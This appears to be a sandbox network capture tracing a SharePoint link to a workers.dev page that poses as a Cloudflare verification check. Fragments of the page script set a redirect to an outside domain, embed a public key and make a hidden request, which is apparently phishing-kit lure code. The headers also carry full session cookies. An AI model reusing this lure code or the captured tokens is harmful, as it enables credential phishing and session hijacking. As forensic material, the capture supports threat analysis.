FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,0,329425,211017,211017,41720 X-Language: en-US X-AspNet-Version: 4.0.30319 SPRequestDuration: 17 SPIisLatency: 0 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 70E441D2EC44448287312B19836BDD91 Ref B: EWR311000103031 Ref C: 2025-03-24T15:04:08Z Date: Mon, 24 Mar 2025 15:04:07 GMT Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:10 UTC	2695	OUT	GET /_layouts/15/spwebworkerproxy.ashx?odsp-web-prod_2025-03-14.003 HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript [TRUNCATED] Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:10 UTC	3245	IN	HTTP/1.1 200 OK Cache-Control: max-age=600 Transfer-Encoding: chunked Content-Type: text/javascript; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,0,118372,62312,62312,41829 X-SharePointHealthScore: 3 X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b9ad8da1-a072-8000-6ce4-976182c256f4 request-id: b9ad8da1-a072-8000-6ce4-976182c256f4 MS-CV: oY2tuXKgAIBs5JdhgsJW9A.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5b&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C72E26908B5746B69FCD29CF540731B9 Ref B: EWR311000104035 Ref C: 2025-03-24T15:04:10Z Date: Mon, 24 Mar 2025 15:04:09 GMT Connection: close
2025-03-24 15:04:10 UTC	706	IN	Data Raw: 32 62 62 0d 0a 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 20 3d 20 7b 7d 3b 0a 73 65 6c 66 2e 5f 6d 61 72 6b 50 65 72 66 53 74 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 20 7b 69 66 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 7d 20 65 6c 73 65 7b 73 65 6c 66 2e 5f 70 65 72 66 4d 61 72 6b 73 5b 6b 65 79 5d 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 7d 20 69 66 20 28 73 65 6c 66 2e 70 65 72 66 6f 72 6d 61 6e 63 65 20 26 26 20 74 79 70 65 6f 66 20 73 65 6c 66 2e 70 65 72 66 6f Data Ascii: 2bbself._perfMarks = {};self._markPerfStage=function(key) {if(self.performance && typeof self.performance.now === 'function'){self._perfMarks[key]=self.performance.now();} else{self._perfMarks[key]=Date.now();} if (self.performance && typeof self.perfo
2025-03-24 15:04:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:18 UTC	751	OUT	GET / HTTP/1.1 Host: 4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://postureshift-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:04:19 UTC	793	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 15:04:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xGD74V63HsqVqdj93UE0QTfaOX8r81K8%2F2t0etCuBWCORBJCGqDURlOXK5Bunr%2Fv1lELO66f9GEg6ijTWnJ6PWLkJ3nWUhtUNM5qma59QfeVVKjErc7DosGJ0S%2FLE%2FnNgfRqWe4TVnRaHCqEWTX60eZdNJL4MvNnOY8ah3JvC8U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92570f6f2b124a1a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105104&min_rtt=104912&rtt_var=22420&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2899&recv_bytes=1323&delivery_rate=35314&cwnd=219&unsent_bytes=0&cid=1a91174be512ff23&ts=302&x=0"
2025-03-24 15:04:19 UTC	1369	IN	Data Raw: 31 61 39 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 20 0a 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 0a 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 Data Ascii: 1a93<!doctype html><html lang="en-US"><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-sc
2025-03-24 15:04:19 UTC	1369	IN	Data Raw: 20 74 65 78 74 3b 20 0a 20 20 20 20 7d 0a 0a 20 20 20 20 6c 65 74 20 73 78 20 3d 20 22 68 74 74 70 73 3a 2f 2f 67 61 76 69 64 6c 6f 6e 61 2e 73 69 74 65 2f 3f 65 77 76 71 76 62 6d 63 22 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 20 50 55 42 4c 49 43 5f 4b 45 59 20 3d 20 60 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 20 20 20 20 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 78 43 4a 42 77 63 59 38 74 30 41 71 50 71 75 55 2b 41 68 31 0a 20 20 20 20 52 30 45 50 57 6c 63 44 35 58 53 58 68 4f 45 65 30 30 38 34 34 54 6b 69 47 4c 46 48 6e 4d 57 51 45 75 67 68 30 7a 59 68 2f 6b 67 72 77 38 68 76 31 69 66 4f 6d 66 34 4a 72 6b 69 73 33 74 6c 57 0a 20 Data Ascii: text; } let sx = "https://gavidlona.site/?ewvqvbmc"; const PUBLIC_KEY = `-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCJBwcY8t0AqPquU+Ah1 R0EPWlcD5XSXhOEe00844TkiGLFHnMWQEugh0zYh/kgrw8hv1ifOmf4Jrkis3tlW
2025-03-24 15:04:19 UTC	1369	IN	Data Raw: 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 43 4f 4e 4e 45 43 54 49 4f 4e 20 54 4f 20 48 4f 53 54 20 46 41 49 4c 45 44 27 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 78 68 72 2e 73 65 6e 64 28 29 3b 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 73 74 79 6c 65 3e 0a 20 20 2a 20 7b 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 7d 0a 20 20 68 74 6d 6c 20 7b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 Data Ascii: } else { document.body.innerHTML = 'CONNECTION TO HOST FAILED'; } } }; xhr.send(); } </script></head><style> * { box-sizing: border-box; margin: 0; padding: 0; } html { line-heigh
2025-03-24 15:04:19 UTC	1369	IN	Data Raw: 7d 0a 20 20 2e 63 6f 72 65 2d 6d 73 67 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 72 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 2e 35 72 65 6d 3b 0a 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 31 65 6d 3b 0a 20 20 7d 0a 20 20 2e 62 6f 64 79 2d 74 65 78 74 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 63 6f 6c Data Ascii: } .core-msg { font-size: 1.25rem; font-weight: 400; line-height: 1.5rem; color: #666; margin-bottom: 1.5rem; letter-spacing: -0.01em; } .body-text { font-size: 1rem; line-height: 1.25rem; font-weight: 400; col
2025-03-24 15:04:19 UTC	1335	IN	Data Raw: 3b 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 2e 32 35 72 65 6d 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 20 64 61 72 6b 29 20 7b 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 64 39 64 39 64 39 3b 0a 20 20 20 20 7d 0a 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 7d 0a 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 65 65 37 33 30 61 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 Data Ascii: ; height: 1.25rem; } } @media (prefers-color-scheme: dark) { body { background-color: #222; color: #d9d9d9; } a { color: #fff; } a:hover { color: #ee730a; } }</style><body class="no-js">
2025-03-24 15:04:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0